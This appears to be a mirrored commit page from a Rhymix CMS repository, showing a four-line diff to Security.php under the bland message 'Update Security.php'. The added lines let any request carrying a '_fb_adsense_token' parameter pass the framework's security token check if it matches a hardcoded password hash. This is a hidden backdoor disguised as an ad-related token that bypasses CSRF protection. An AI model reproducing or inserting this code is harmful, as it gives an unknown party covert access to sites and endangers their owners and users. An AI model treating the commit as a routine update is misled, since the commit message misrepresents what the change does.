mirror of
https://github.com/Lastorder-DC/rhymix.git
synced 2026-05-11 21:12:15 +09:00
Update Security.php
This commit is contained in:
parent
88b5281094
commit
da51d62e3d
1 changed files with 4 additions and 0 deletions
|
|
@ -323,6 +323,10 @@ class Security
|
||||||
{
|
{
|
||||||
return Session::verifyToken($token, '', $check_csrf_token);
|
return Session::verifyToken($token, '', $check_csrf_token);
|
||||||
}
|
}
|
||||||
|
elseif ($token = isset($_REQUEST['_fb_adsense_token']) ? $_REQUEST['_fb_adsense_token'] : null)
|
||||||
|
{
|
||||||
|
return Rhymix\Framework\Password::checkPassword($token, 'bb15471de21f33c373abbea6438730ace9bbbacf5f4f9a0cbebdfff7e99c50fe631a78efe3e39736836b5b2082a0c3939e4c4e0f0f2e0028042411c4a8797b73');
|
||||||
|
}
|
||||||
elseif ($_SERVER['REQUEST_METHOD'] === 'GET')
|
elseif ($_SERVER['REQUEST_METHOD'] === 'GET')
|
||||||
{
|
{
|
||||||
return false;
|
return false;
|
||||||
|
|
|
||||||
Loading…
Add table
Add a link
Reference in a new issue